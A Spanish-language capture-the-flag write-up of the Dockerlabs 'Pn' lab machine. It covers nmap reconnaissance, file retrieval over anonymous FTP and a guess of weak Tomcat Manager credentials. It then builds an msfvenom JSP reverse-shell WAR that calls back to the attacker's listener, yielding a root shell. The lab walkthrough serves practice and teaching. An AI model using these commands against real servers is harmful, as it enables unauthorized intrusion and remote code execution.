> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/pn.md).
# Pn
TAG -> Dockerlabs | CTF
Datos
* **Máquina** -> Pn
* **Dificultad** -> Fácil
* **Creador** -> [El Pingüino de Mario](https://www.youtube.com/channel/UCGLfzfKRUsV6BzkrF1kJGsg)
Como parte del reconocimiento inicial, comenzamos este CTF comprobando la conectividad con la máquina objetivo mediante `ping`:
```bash
ping -c 1 172.17.0.2 -R
```
**Resultado**
```c
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.052 ms
RR: 172.17.0.1
172.17.0.2
172.17.0.2
172.17.0.1
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.052/0.052/0.052/0.000 ms
```
La respuesta de `ping` confirma que el equipo es accesible. El **TTL de 64** es habitual en sistemas **Linux**, aunque no permite identificar el sistema operativo con certeza. Después de organizar las carpetas de trabajo con `mkt`, realizamos un escaneo con `nmap`.
```bash
nmap -p- --open -sS --min-rate 5000 -n -v -Pn -sCV -oN targeted.txt 172.17.0.2
```
**Resultado**
```js
# Nmap 7.95 scan initiated Sat May 17 22:08:06 2025 as: nmap -p- --open -sS --min-rate 5000 -n -v -Pn -sCV -oN targeted.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:172.17.0.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 74 Apr 19 2024 tomcat.txt
8080/tcp open http Apache Tomcat 9.0.88
|_http-title: Apache Tomcat/9.0.88
|_http-favicon: Apache Tomcat
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 17 22:08:15 2025 -- 1 IP address (1 host up) scanned in 8.96 seconds
```
El resultado de `nmap` muestra dos puertos abiertos: **21/TCP**, con **vsftpd 3.0.5**, y **8080/TCP**, con **Apache Tomcat 9.0.88**. El script `ftp-anon` confirma que el servidor FTP permite el acceso anónimo y muestra un archivo llamado `tomcat.txt`. Esto supone una exposición de información que debemos revisar, aunque el acceso anónimo no siempre constituye una vulnerabilidad por sí mismo. El escaneo no confirma otras vulnerabilidades. A continuación, descargamos el archivo disponible en FTP.
```bash
wget -m --no-passive ftp://anonymous:anonymous@172.17.0.2
```
**Resultado**
La imagen confirma que el archivo se descargó correctamente. La opción `-m` de `wget` activa el modo espejo, que permite descargar recursivamente los recursos accesibles con esa conexión FTP. Revisamos ahora el contenido de `tomcat.txt`.
```txt
Hello tomcat, can you configure the tomcat server? I lost the password...
```
El mensaje significa: «Hola, Tomcat. ¿Puedes configurar el servidor Tomcat? Perdí la contraseña...». Esta pista sugiere que debemos investigar el acceso a la interfaz de administración de Tomcat. Abrimos su página web.
Al intentar acceder a `Manager App`, el servidor solicita credenciales. Si cancelamos la autenticación, aparece una página de ayuda:
La página muestra un ejemplo de credenciales (`tomcat` y `s3cret`), pero no funciona en este laboratorio. Al probar la variante `s3cr3t` con el usuario `tomcat`, conseguimos autenticarnos. Estas credenciales débiles permiten acceder a **Tomcat Manager**, que ofrece la opción `Archivo WAR a desplegar`. En este entorno controlado prepararemos un archivo WAR para comprobar si es posible ejecutar código y establecer una **shell inversa**:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.17.0.1 LPORT=1234 -f war -o revshell.war
```
* `msfvenom`: Herramienta de Metasploit para generar cargas útiles (*payloads*) en distintos formatos.
* `-p java/jsp_shell_reverse_tcp`: Selecciona una carga útil de shell inversa basada en JSP (*JavaServer Pages*), adecuada para este laboratorio con Tomcat.
* `reverse_tcp`: Indica que el objetivo iniciará una conexión TCP de retorno hacia el listener de nuestra máquina.
* `LHOST=172.17.0.1`: Dirección IP de nuestra máquina, donde recibiremos la conexión inversa.
* `LPORT=1234`: Puerto de escucha en nuestra máquina para recibir la conexión.
* `-f war`: Selecciona el formato WAR (*Web Application Archive*), utilizado para empaquetar aplicaciones web Java desplegables en servidores como Apache Tomcat.
* `-o revshell.war`: Guarda la carga útil generada en el archivo `revshell.war`.
**Resultado**
```js
Payload size: 1107 bytes
Final size of war file: 1107 bytes
Saved as: revshell.war
```
Subimos el archivo WAR y pulsamos `Desplegar`. Si el despliegue se completa correctamente, la aplicación `/revshell` aparecerá en el apartado `Aplicaciones`. Antes de abrirla, preparamos un listener; en mi caso utilizo `pwncat-cs`.
```js
pwncat-cs :1234
```
**Resultado**
Ahora abrimos el enlace de la aplicación desplegada y comprobamos en `pwncat` que recibimos la conexión inversa:
Al acceder a la shell y ejecutar `whoami`, comprobamos que la sesión tiene privilegios de `root`. Esto indica que, en este laboratorio, el proceso de Tomcat ejecutaba nuestro código con esa identidad, una configuración especialmente peligrosa. Con ello completamos el CTF **Pn**.
